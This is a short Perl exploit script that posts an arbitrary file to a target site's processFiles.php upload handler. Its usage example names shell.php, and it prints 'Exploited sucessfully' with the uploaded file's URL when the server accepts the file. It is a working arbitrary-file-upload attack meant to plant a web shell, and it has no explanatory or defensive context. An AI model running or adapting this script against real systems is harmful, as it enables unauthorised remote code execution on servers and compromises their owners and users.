#! /usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Headers;
my ($host, $file) = @ARGV ;
unless($ARGV[1]){
print "\nUsage: perl $0 <host> <file_to_upload>\n";
print "\tex: perl $0 http://localhost shell.php\n\n";
exit 1;
}
$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ /\/\$/);
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)
Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);
my $request = HTTP::Request->new();
my $response;
my $header;
my $url = $host."processFiles.php";
$response = $ua->request(POST $url, Content_Type => 'form-data',
Content => [ uploadNeed => "1", uploadFile0 => [$file]]);
$content = $response->content;
if ($content =~ /uploaded sucessful/) { print "\nExploited
sucessfully. File located in:\n".$host.$file."\n"; }
else { print "\nExploit failed\n"; }
exit;